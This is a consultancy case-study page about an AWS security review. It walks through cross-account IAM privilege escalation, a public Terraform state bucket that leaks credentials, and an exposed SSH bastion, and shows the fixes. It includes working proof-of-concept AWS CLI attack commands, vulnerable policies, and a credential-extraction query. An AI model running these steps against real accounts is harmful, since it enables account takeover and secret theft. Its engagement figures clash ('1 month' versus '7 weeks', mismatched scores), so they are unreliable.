Skip to content
Featured Case Study

Cloud Security Review Eliminating multi-account IAM privilege escalation, exposed Terraform state, and public jump-box exposure across a high-growth AWS serverless estate aligned to the CIS AWS Foundations Benchmark

AI image prompt — Ultra-realistic, eye-level photograph of a bright, airy modern cloud-operations command center during the day. A sleek glass wall displays an elegant AWS multi-account architecture map and IAM access graph with glowing cyan (#00e5ff) accent lines. Bright natural daylight floods through floor-to-ceiling windows, two diverse cloud engineers in smart-casual attire collaborate at a clean white standing desk, potted greenery, shot on Hasselblad, high-end professional commercial branding, no dark cyberpunk tones

Project Details

Client
Stratuscale is a fast-growing, venture-backed B2B SaaS analytics platform delivering real-time product telemetry to over 1,400 enterprise customers, running entirely on AWS across a fleet of serverless functions, 600+ S3 buckets, and managed Aurora and DynamoDB databases
Industry
SaaS / Data Analytics
Company Size
180 - 240
Headquarters
Seattle, Washington
Project Duration
1 month (Mar 2026 - Apr 2026)

A comprehensive cloud security architecture review of a high-growth, AWS-native SaaS analytics platform (Stratuscale Analytics). The engagement uncovered and remediated a multi-account IAM privilege escalation path via overly permissive assumed roles, a public S3 bucket exposing Terraform state files containing hardcoded secrets, and internet-facing EC2 jump boxes — re-architecting the estate around least privilege, AWS Secrets Manager, strict Security Group rules, and continuous CIS AWS Foundations Benchmark alignment.

Engagement Classification · TLP:AMBER

Project StratusGuard / AWS Cloud Review

Full-scope cloud security architecture review of a high-growth, AWS-native SaaS estate. 7 weeks, multi-account IAM analysis, storage and network configuration audit, and CIS AWS Foundations Benchmark alignment.

Critical
3 Findings
Account Takeover
Path Proven
+38
CIS Score Gain

The Velocity-vs-Guardrails Problem

Stratuscale’s growth story is the story of nearly every successful AWS-native SaaS: a small founding team shipped a brilliant product, customers arrived faster than anyone forecast, and headcount tripled to keep pace. Each new squad spun up its own AWS resources, IAM roles, and infrastructure-as-code pipelines — but the guardrails that should govern a multi-account estate were never given the same investment as the features.

The result is a pattern we call configuration drift under load: no single change is reckless, but the cumulative effect of hundreds of small, locally-reasonable decisions is a cloud estate where trust boundaries have quietly dissolved. A developer role that was “temporarily” granted iam:PassRole for a demo. A state bucket created with public read “just to unblock CI.” A jump box opened to 0.0.0.0/0 during an incident and never closed. Individually invisible; collectively, a direct path to full production compromise.

Over a 7-week engagement we performed an exhaustive review of Stratuscale’s AWS organization, measured it against the CIS AWS Foundations Benchmark v3.0, and proved that three of these drift artifacts chained together into a complete, single-developer account takeover.


Technical Audit Snapshot

AWS Accounts Reviewed
11
Across 4 Organizational Units
IAM Roles Analyzed
312
Trust + permission policies
Findings Reported
24
CVSS v3.1 4.3 – 9.8
CIS Controls Failing
41
Of 327 evaluated checks

Cloud Audit Methodology

Our review followed a four-domain cloud assessment framework, each domain mapped directly to CIS AWS Foundations Benchmark sections and executed against every account in the AWS Organization.

01

IAM & Identity Policy Review

Enumerated every user, group, role, and trust policy across the Organization. Built a cross-account access graph to surface AssumeRole chains, wildcard actions, iam:PassRole grants, and inline policies that violate least privilege. Mapped to CIS Section 1 (Identity & Access Management).

02

Storage Configuration Audit

Inventoried all 600+ S3 buckets, EBS volumes, RDS/Aurora snapshots, and DynamoDB tables. Evaluated bucket policies, ACLs, Block Public Access settings, default encryption, and versioning. Hunted specifically for Terraform state, backups, and data lakes exposed to anonymous or cross-account principals. Mapped to CIS Section 2 (Storage).

03

Network Security Group Review

Analyzed every VPC, Security Group, NACL, route table, and internet/NAT gateway. Identified ingress rules open to 0.0.0.0/0 on sensitive ports (22, 3389, 5432, 6379), flat network designs, and jump boxes lacking session controls. Mapped to CIS Section 5 (Networking).

04

Secret Management Assessment

Audited how credentials, API keys, and database passwords flow through the estate — scanning IaC repositories, Lambda environment variables, EC2 user-data, and SSM parameters for hardcoded secrets, and evaluating adoption of AWS Secrets Manager and KMS. Mapped to CIS Sections 1 & 3 (Logging/Monitoring).


Target AWS Architecture

Stratuscale runs a multi-account AWS Organization: a shared-services account fronting the platform, isolated workload accounts per environment, and a sprawling serverless data plane. The diagram below maps the primary attack surfaces our review evaluated.

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '12px', 'primaryColor': '#062630', 'primaryTextColor': '#dffaff', 'primaryBorderColor': '#00e5ff', 'lineColor': '#00e5ff', 'secondaryColor': '#020b0e', 'tertiaryColor': '#08171c', 'background': 'transparent', 'clusterBkg': '#081820', 'clusterBorder': '#0e3a47', 'edgeLabelBackground': '#062630', 'titleColor': '#a5f3fc', 'nodeTextColor': '#dffaff'}}}%% graph TD classDef untrusted fill:#1c0d0d,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef edge fill:#062630,stroke:#00e5ff,stroke-width:2px,color:#dffaff; classDef compute fill:#062630,stroke:#00e5ff,stroke-width:3px,color:#dffaff; classDef datastore fill:#0c111d,stroke:#3b82f6,stroke-width:2px,color:#dbeaf8; Internet([Public Internet]):::untrusted Internet --> ALB{Application
Load Balancer}:::edge ALB --> APIGW[API Gateway]:::edge APIGW -.-> Lambda[Lambda Fleet
140+ Functions]:::compute APIGW -.-> ECS[ECS Fargate
Services]:::compute Lambda --> Aurora[(Aurora
PostgreSQL)]:::datastore Lambda --> Dynamo[(DynamoDB
Telemetry)]:::datastore ECS --> S3[(S3 Data Lake
600+ Buckets)]:::datastore Internet --> Jump[EC2 Jump Box
22 open]:::untrusted Jump --> Aurora

CIS AWS Foundations Benchmark Compliance

We scored Stratuscale against all five sections of the CIS AWS Foundations Benchmark v3.0 at the start of the engagement and again after remediation. The radial gauges below visualize per-section compliance — the inner cyan arc is the post-remediation score, the faint track is the pre-audit baseline.

Section-by-Section CIS Compliance

327 automated controls · CIS AWS Foundations Benchmark v3.0

Pre-AuditPost-Remediation
96%from 41%
IAM
Section 1
99%from 52%
Storage
Section 2
94%from 60%
Logging
Section 3
91%from 48%
Monitoring
Section 4
95%from 37%
Networking
Section 5

Vulnerability Classification Matrix

Each finding was triaged using the standardized CVSS v3.1 framework and mapped to its corresponding CIS AWS Foundations Benchmark control.

IDFinding / AssetCategoryCVSS v3.1CIS ControlExploit ComplexityStatus
CS-AWS-001Multi-Account IAM Privilege Escalation via AssumeRolePrivilege Escalation9.8 (Critical)CIS 1.16 / 1.17Low (valid dev creds)REMEDIATED
CS-AWS-002Public S3 Bucket Exposing Terraform State + SecretsData Exposure9.4 (Critical)CIS 2.1.1 / 2.1.5Trivial (anonymous GET)REMEDIATED
CS-AWS-003Internet-Facing EC2 Jump Box (SSH 0.0.0.0/0)Network Exposure8.6 (High)CIS 5.2 / 5.3Low (port scan)REMEDIATED
CS-AWS-004Lambda Env Vars Holding Plaintext API KeysSecret Management7.5 (High)CIS 1.x / 3.xMedium (role access)REMEDIATED
CS-AWS-005CloudTrail Not Enabled in 3 Workload AccountsLogging Gap5.3 (Medium)CIS 3.1N/A (visibility)REMEDIATED
Advertisement

Critical Finding CS-AWS-001 — Multi-Account IAM Privilege Escalation

This was the finding that turned a routine review into an emergency. A standard Developer role in the sandbox account — held by every engineer — possessed two seemingly innocuous permissions: a wildcard sts:AssumeRole and iam:PassRole. Chained against an over-trusting CI deployment role, these allowed any developer to escalate from sandbox read/write to full administrator in the production workload account.

Privilege Escalation Path

← Swipe horizontally to view the full escalation chain →

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#062630', 'primaryTextColor': '#dffaff', 'primaryBorderColor': '#00e5ff', 'lineColor': '#00e5ff', 'secondaryColor': '#020b0e', 'tertiaryColor': '#08171c', 'background': 'transparent', 'clusterBkg': '#081820', 'clusterBorder': '#0e3a47', 'edgeLabelBackground': '#062630', 'titleColor': '#a5f3fc', 'nodeTextColor': '#dffaff'}}}%% sequenceDiagram autonumber participant Dev as "Developer (Sandbox)" participant STS as "AWS STS" participant CI as "CI Deploy Role" participant Prod as "Production Account" participant Admin as "Prod Admin Role" Dev->>STS: sts:AssumeRole (wildcard) to ci-deploy-role Note over Dev: Developer role permits sts:AssumeRole on Resource '*' STS-->>Dev: Temp creds for ci-deploy-role Dev->>CI: iam:PassRole + lambda:CreateFunction Note over CI: CI role trusts sandbox, allowing it to pass any role CI->>Prod: Deploy Lambda w/ admin execution role Prod->>Admin: Lambda assumes OrganizationAccountAccessRole Admin-->>Dev: Full administrative control of production

The Vulnerable IAM Policy

The sandbox Developer permission policy below is the root enabler — note the wildcard resources on both sts:AssumeRole and iam:PassRole.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DeveloperBaseline",
      "Effect": "Allow",
      "Action": [
        "sts:AssumeRole",
        "iam:PassRole",
        "lambda:CreateFunction",
        "lambda:InvokeFunction"
      ],
      "Resource": "*"
    }
  ]
}

And the CI deploy role’s trust policy trusted the entire sandbox account rather than a specific principal:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": { "AWS": "arn:aws:iam::111122223333:root" },
      "Action": "sts:AssumeRole"
    }
  ]
}

Attack Proof-of-Concept

# 1. Start as an ordinary developer in the sandbox account
aws sts get-caller-identity
# arn:aws:iam::111122223333:user/dev.contractor

# 2. Hop into the over-trusting CI deploy role (wildcard AssumeRole)
aws sts assume-role \
  --role-arn arn:aws:iam::111122223333:role/ci-deploy-role \
  --role-session-name privesc-poc > ci.json

export AWS_ACCESS_KEY_ID=$(jq -r .Credentials.AccessKeyId ci.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r .Credentials.SecretAccessKey ci.json)
export AWS_SESSION_TOKEN=$(jq -r .Credentials.SessionToken ci.json)

# 3. Deploy a Lambda into production, passing the org-wide admin role
aws lambda create-function \
  --function-name telemetry-shim \
  --runtime python3.12 \
  --role arn:aws:iam::444455556666:role/OrganizationAccountAccessRole \
  --handler index.handler \
  --zip-file fileb://payload.zip \
  --region us-west-2

# 4. Invoke it — the function now executes with full production admin
aws lambda invoke --function-name telemetry-shim out.json
# => Effective control of the production workload account

Remediation — Least Privilege & Permission Boundaries

iam-remediation.json
VULNERABLE (WILDCARD)
{
"Effect": "Allow",
"Action": [
  "sts:AssumeRole",
  "iam:PassRole"
],
"Resource": "*"
}
SECURED & SCOPED
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource":
  "arn:aws:iam::111122223333:role/dev-readonly",
"Condition": {
  "StringEquals": { "aws:PrincipalTag/team": "data" },
  "Bool": { "aws:MultiFactorAuthPresent": "true" }
}
}
// iam:PassRole removed; CI uses a dedicated
// OIDC role with an explicit permissions boundary.

We collapsed the wildcard grants to specific role ARNs, attached an IAM permissions boundary capping the maximum privilege any developer-created principal can hold, replaced the account-root trust on the CI role with a GitHub OIDC federation condition, and required MFA for all cross-account hops. CIS controls 1.16 and 1.17 moved from failing to passing.


Critical Finding CS-AWS-002 — Public S3 Bucket Exposing Terraform State

During the storage audit, our anonymous-principal sweep flagged a bucket named stratuscale-tf-state-shared with Block Public Access disabled and a bucket policy granting s3:GetObject to *. It held the Terraform state for the shared-services account — and Terraform state stores resource attributes in cleartext, including any secrets passed through it.

Data Exposure Vector

← Swipe horizontally to view the full exfiltration flow →

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#062630', 'primaryTextColor': '#dffaff', 'primaryBorderColor': '#00e5ff', 'lineColor': '#00e5ff', 'secondaryColor': '#020b0e', 'tertiaryColor': '#08171c', 'background': 'transparent', 'clusterBkg': '#081820', 'clusterBorder': '#0e3a47', 'edgeLabelBackground': '#062630', 'titleColor': '#a5f3fc', 'nodeTextColor': '#dffaff'}}}%% graph LR classDef untrusted fill:#1c0d0d,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef store fill:#0c111d,stroke:#3b82f6,stroke-width:2px,color:#dbeaf8; classDef secret fill:#062630,stroke:#00e5ff,stroke-width:2px,color:#dffaff; Anon([Anonymous Internet User]):::untrusted Anon -->|s3:GetObject = '*'| Bucket[(stratuscale-tf-state-shared
Block Public Access OFF)]:::store Bucket -->|terraform.tfstate| State[Cleartext State File]:::store State -->|jq parse| Creds[Aurora master pwd
Stripe + Datadog keys]:::secret Creds -->|direct connect| DB[(Production Aurora)]:::untrusted

Attack Proof-of-Concept

# No credentials required — bucket is world-readable
aws s3 ls s3://stratuscale-tf-state-shared/ --no-sign-request
#   2026-02-18 09:41:22   184213 env/prod/terraform.tfstate

aws s3 cp s3://stratuscale-tf-state-shared/env/prod/terraform.tfstate . \
  --no-sign-request

# State files leak every resource attribute in plaintext
jq '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes
      | {endpoint, username, password}' terraform.tfstate
{
  "endpoint": "stratuscale-prod.cluster-abc123.us-west-2.rds.amazonaws.com:5432",
  "username": "stratus_admin",
  "password": "Pr0d-Aurora-2025!"
}

A single anonymous GET yielded live Aurora master credentials, a Datadog API key, and a Stripe secret key — all of which had been interpolated into Terraform as plaintext variables and persisted into state.

Remediation — Lock the Bucket, Encrypt State, Vault the Secrets

We enabled account-wide S3 Block Public Access, enforced default SSE-KMS encryption and versioning on the state bucket, migrated the backend to use a DynamoDB state lock, rotated every leaked credential, and moved all secrets out of Terraform variables into AWS Secrets Manager — referenced at apply time via data sources so they never touch state in plaintext.

# Enforce Block Public Access at the account level (CIS 2.1.5)
aws s3control put-public-access-block \
  --account-id 444455556666 \
  --public-access-block-configuration \
  BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true

# Default encryption + versioning on the state bucket (CIS 2.1.1)
aws s3api put-bucket-encryption --bucket stratuscale-tf-state-shared \
  --server-side-encryption-configuration \
  '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"aws:kms"}}]}'
aws s3api put-bucket-versioning --bucket stratuscale-tf-state-shared \
  --versioning-configuration Status=Enabled
backend.tf
VULNERABLE (PUBLIC + PLAINTEXT)
terraform {
backend "s3" {
  bucket = "stratuscale-tf-state-shared"
  key    = "env/prod/terraform.tfstate"
  region = "us-west-2"
  # no encryption, no lock, bucket is public
}
}
SECURED (PRIVATE + KMS + LOCK)
terraform {
backend "s3" {
  bucket         = "stratuscale-tf-state-shared"
  key            = "env/prod/terraform.tfstate"
  region         = "us-west-2"
  encrypt        = true
  kms_key_id     = "arn:aws:kms:us-west-2:...:key/state"
  dynamodb_table = "tf-state-lock"
}
}

Critical Finding CS-AWS-003 — Internet-Facing EC2 Jump Box

The network review surfaced a bastion-legacy EC2 instance whose Security Group permitted inbound SSH (22/tcp) from 0.0.0.0/0. The host sat on the flat production VLAN with a route to the Aurora cluster — exactly the lateral-movement bridge the architecture diagram warned about.

Network Exposure Vector

← Swipe horizontally to view the lateral-movement path →

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#062630', 'primaryTextColor': '#dffaff', 'primaryBorderColor': '#00e5ff', 'lineColor': '#00e5ff', 'secondaryColor': '#020b0e', 'tertiaryColor': '#08171c', 'background': 'transparent', 'clusterBkg': '#081820', 'clusterBorder': '#0e3a47', 'edgeLabelBackground': '#062630', 'titleColor': '#a5f3fc', 'nodeTextColor': '#dffaff'}}}%% graph LR classDef untrusted fill:#1c0d0d,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef compute fill:#062630,stroke:#00e5ff,stroke-width:2px,color:#dffaff; classDef store fill:#0c111d,stroke:#3b82f6,stroke-width:2px,color:#dbeaf8; Attacker([Internet Attacker]):::untrusted Attacker -->|SSH 22 · 0.0.0.0/0| Bastion[bastion-legacy
OpenSSH 8.2]:::untrusted Bastion -->|flat VLAN · no segmentation| Aurora[(Aurora PostgreSQL
5432)]:::store Bastion -.lateral.-> ECS[ECS Ingestion]:::compute
# External scan confirms the exposed bastion
nmap -Pn -p22,3389,5432 -sV 203.0.113.88
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 8.2 (Ubuntu)   <-- open to the world
# 5432/tcp closed postgresql
{
  "GroupName": "bastion-legacy-sg",
  "IpPermissions": [
    {
      "IpProtocol": "tcp",
      "FromPort": 22,
      "ToPort": 22,
      "IpRanges": [{ "CidrIp": "0.0.0.0/0", "Description": "ssh" }]
    }
  ]
}

Remediation — Eliminate the Bastion with SSM Session Manager

Rather than merely narrowing the CIDR, we removed public SSH entirely and replaced the bastion pattern with AWS Systems Manager Session Manager — fully audited, IAM-gated shell access with no open inbound ports — and revoked the world-open ingress rule.

# Revoke the world-open SSH rule (CIS 5.2)
aws ec2 revoke-security-group-ingress \
  --group-id sg-0bastionlegacy \
  --protocol tcp --port 22 --cidr 0.0.0.0/0

# Access is now via Session Manager — no inbound ports, fully logged
aws ssm start-session --target i-0a1b2c3d4e5f
security-group.tf
VULNERABLE (WORLD-OPEN SSH)
ingress {
from_port   = 22
to_port     = 22
protocol    = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
# Anyone on the internet can reach SSH
SECURED (NO INBOUND · SSM)
# No ingress rules at all.
# Shell access is brokered by SSM Session
# Manager over the SSM API — IAM-gated,
# session-logged, zero open ports.
egress {
from_port = 443; to_port = 443
protocol = "tcp"; cidr_blocks = ["0.0.0.0/0"]
}

IAM Privilege Escalation Path Explorer

Step through the full cross-account kill chain interactively. Select a stage to light up the path and reveal the exact AWS API call, the misconfiguration abused, and the outcome at that hop — from a single developer credential to total production control.

privesc-telemetry.log
$ Stage 01 — Developer Credential
aws sts get-caller-identity
# arn:aws:iam::111122223333:user/dev.contractor

A standard developer identity in the sandbox account — read/write on sandbox resources, plus a wildcard sts:AssumeRole and iam:PassRole that nobody flagged at provisioning time.

▸ Pivot Status: FOOTHOLD · sandbox identity confirmed
$ Stage 02 — CI Deploy Role · AssumeRole
aws sts assume-role \
--role-arn arn:aws:iam::111122223333:role/ci-deploy-role \
--role-session-name privesc-poc

The wildcard AssumeRole lets the developer step into the CI deploy role, whose trust policy trusts the entire account root rather than a scoped principal.

▸ Pivot Status: SUCCESS · ci-deploy-role creds obtained
$ Stage 03 — PassRole → Lambda Deploy
aws lambda create-function --function-name telemetry-shim \
--role arn:aws:iam::444455556666:role/OrganizationAccountAccessRole \
--runtime python3.12 --handler index.handler \
--zip-file fileb://payload.zip --region us-west-2

iam:PassRole lets the CI role hand the org-wide admin role to a new Lambda in the production account — the function inherits administrative privileges on invoke.

▸ Pivot Status: SUCCESS · admin role passed to Lambda
$ Stage 04 — Production Account Admin
aws lambda invoke --function-name telemetry-shim out.json
# Executes as OrganizationAccountAccessRole
# >>> ENGAGEMENT STOP — full prod admin proven

Invoking the Lambda yields code execution with full production administrator rights — IAM, S3, RDS, and KMS across the workload account. Halted by prior agreement once proven.

▸ Pivot Status: HALTED · total compromise demonstrated

IAM Role Risk Assessment

A focused scoring of the highest-blast-radius roles uncovered during the identity review.

IAM RolePrivilege RiskEscalation VectorBlast RadiusStatus
Developer (sandbox)CriticalWildcard AssumeRole + PassRoleFull production adminSCOPED
ci-deploy-roleCriticalAccount-root trust policyCross-account deployOIDC-GATED
OrganizationAccountAccessRoleHighPassable to LambdaOrg-wide adminBOUNDARIED
lambda-telemetry-execMediumBroad s3:* on data lakeData lake read/writeLEAST-PRIV
Advertisement

Vulnerable vs Secured Terraform

The same infrastructure, two ways. Toggle between the configuration that shipped during the growth sprint and the hardened equivalent we delivered.

main.tf
# ⚠ Public state bucket, world-open SSH, wildcard IAM
resource "aws_s3_bucket" "tf_state" {
bucket = "stratuscale-tf-state-shared"
acl    = "public-read"            # CIS 2.1.5 FAIL
}

resource "aws_security_group" "bastion" {
ingress {
  from_port   = 22
  to_port     = 22
  protocol    = "tcp"
  cidr_blocks = ["0.0.0.0/0"]      # CIS 5.2 FAIL
}
}

resource "aws_iam_policy" "dev" {
policy = jsonencode({
  Statement = [{
    Effect   = "Allow"
    Action   = ["sts:AssumeRole", "iam:PassRole"]
    Resource = "*"                 # CIS 1.16 FAIL
  }]
})
}

resource "aws_db_instance" "prod" {
password = "Pr0d-Aurora-2025!"     # plaintext → leaks into state
}
# ✓ Private + encrypted state, no public SSH, scoped IAM
resource "aws_s3_bucket" "tf_state" {
bucket = "stratuscale-tf-state-shared"
}
resource "aws_s3_bucket_public_access_block" "tf_state" {
bucket                  = aws_s3_bucket.tf_state.id
block_public_acls       = true
block_public_policy     = true
ignore_public_acls      = true
restrict_public_buckets = true     # CIS 2.1.5 PASS
}

resource "aws_security_group" "bastion" {
# No inbound 22 — access via SSM Session Manager (CIS 5.2 PASS)
}

resource "aws_iam_policy" "dev" {
policy = jsonencode({
  Statement = [{
    Effect   = "Allow"
    Action   = "sts:AssumeRole"
    Resource = aws_iam_role.dev_readonly.arn   # CIS 1.16 PASS
    Condition = { Bool = { "aws:MultiFactorAuthPresent" = "true" } }
  }]
})
}

data "aws_secretsmanager_secret_version" "db" {
secret_id = "stratuscale/prod/aurora"          # never in state
}
resource "aws_db_instance" "prod" {
password = data.aws_secretsmanager_secret_version.db.secret_string
}

Continuous Cloud Posture Syncing

Beyond point-in-time fixes, we wired AWS Config + Security Hub to continuously re-evaluate every account against the CIS benchmark, streaming drift back to a single posture dashboard.

IAM
S3
VPC
KMS

AWS Config · Security Hub · Continuous CIS Sync


Side-by-Side Posture Replay

A real-time replay of the same privilege-escalation attempt against Stratuscale’s pre-audit estate and the hardened, boundaried build.

Stratuscale · Pre-Audit Estate
EXPLOITED
sts:AssumeRole ci-deploy-role
Wildcard resource match… ●●●
→ PassRole OrganizationAccountAccessRole accepted
✓ Lambda deployed to prod with admin role
200 OK: full production admin obtained
Stratuscale · Hardened Estate
BLOCKED
sts:AssumeRole ci-deploy-role
Evaluating scoped policy + MFA condition… ●●●
⚠ Denied: resource ARN not in allow-list; MFA absent
AccessDenied: permission boundary blocks PassRole
securityhub: finding.iam.privesc_attempt · principal=dev.contractor

Composite Cloud Risk Reduction

Estate-Wide Risk Score Velocity

Composite threat score across 11 AWS accounts over the 7-week engagement

Vulnerable StateHardened State
1007550250Week 1Week 2Week 3Week 4Week 5Week 6Week 794.0 BaselineIAM boundaries liveS3 BPA enforced2.1 Hardened

Quantifiable Business Impact

Security MetricPre-Audit StateHardened StateQuantified ROI
CIS AWS Foundations Score48% (41 controls failing)95% compliantUnblocked SOC-2 Type II readiness
Cross-Account Privilege EscalationDev → full prod adminBoundaried + MFA-gatedPrevented total cloud resource hijacking
Exposed Secrets in IaC StateLive DB/Stripe/Datadog keys publicVaulted in Secrets ManagerRotated all keys; closed data-exfil vector
Internet-Exposed Management PortsSSH 0.0.0.0/0 on prod bastionZero open ports · SSM onlyEliminated bastion lateral-movement bridge
Posture MonitoringNo continuous evaluationAWS Config + Security Hub CIS syncDrift detected in minutes, not quarters

Strategic Takeaways

Securing a fast-scaling, AWS-native estate is less about any single misconfiguration and more about restoring the trust boundaries that velocity erodes.

  1. Privilege is a graph, not a list. No individual permission at Stratuscale looked alarming in isolation — the danger lived in the chain. Audit IAM as a reachability graph: who can assume what, pass which roles, and where that lands them across account boundaries. Wildcard sts:AssumeRole and iam:PassRole are the two highest-leverage grants to eliminate.
  2. Secrets must never enter Terraform state. State files are cleartext databases of your infrastructure. Reference secrets from AWS Secrets Manager at apply time, encrypt state with KMS, enable Block Public Access account-wide, and treat any public storage object as an incident.
  3. Replace bastions, don’t just narrow them. SSM Session Manager removes the entire class of internet-facing jump-box risk while adding full session auditing — a strictly better posture than tightening a CIDR block.
  4. Make CIS continuous. A point-in-time score decays the moment the next sprint ships. Wiring AWS Config and Security Hub to re-evaluate the benchmark turns compliance from a quarterly scramble into a live, drift-aware signal — the single change that keeps a growing estate from re-acquiring the same debt.
Accelerated Integration

Ready to secure your architecture?

Initiate a full cryptographic security review, IAM baseline audit, and penetration testing engagement for your organization.

Project Onboard? Secure Cryptographic Invitation Pipeline
Visual Showcase

System Schema & Architecture

Curated diagrams, interface snapshots, and architectural blueprints illustrating our core technical approach and environment mapping.

AI image prompt — A highly professional, ultra-realistic corporate photo of a bright cloud-engineering floor in broad daylight. Smiling engineers review a high-fidelity AWS landing-zone diagram projected on a clean white wall, showing organizational units, S3 buckets and Lambda functions accented with rich cyan colors (#00e5ff). Clean workstations, green potted plants, bright daylight, premium commercial workspace aesthetic
AI image prompt — A clean, bright 3D isometric infographic diagram explaining an AWS IAM assume-role trust chain and least-privilege boundary. Rendered on a minimalist off-white surface with natural soft shadows. Blocks representing Developer Account, CI Role, Cross-Account Role and Production Account are connected by flowing cyan (#00e5ff) wires with small key and shield icons. Studio lighting, professional layout diagram
AI image prompt — A realistic candid photograph of a professional cloud security engineer working on a large high-end monitor in a bright office environment. Natural daylight streams through massive windows. The screen shows a clean AWS console, Terraform configuration files and a CIS benchmark compliance dashboard with subtle cyan accents. Potted plants, stylish wood accents, premium corporate office, 8k resolution
AI image prompt — Ultra-realistic executive presentation scene in a bright boardroom with natural daylight. A professional female cloud security architect presents a secure multi-account AWS landing zone and CIS compliance scorecard on a large white presentation screen with elegant cyan (#00e5ff) line details. Corporate executives listen intently around a sleek modern conference table. Shot on Hasselblad, premium corporate high-end office aesthetic
Client Endorsement

Hear it straight from Stratuscale Analytics

"We tripled our engineering headcount in nine months, and our AWS footprint grew faster than our guardrails. We suspected configuration drift but had no way to quantify it. The Antigravity team mapped a complete cross-account privilege escalation path from a single developer role to full production admin, found Terraform state with live secrets sitting in a public bucket, and handed us least-privilege policies and Terraform we could merge the same week. They turned a terrifying unknown into a measurable, CIS-aligned roadmap."

Terrill Feil

Terrill Feil

VP of Platform Engineering at Stratuscale Analytics

Sponsored Link

Subscribe to my newsletter

Receive my case study and the latest articles on my WhatsApp Channel.

Warning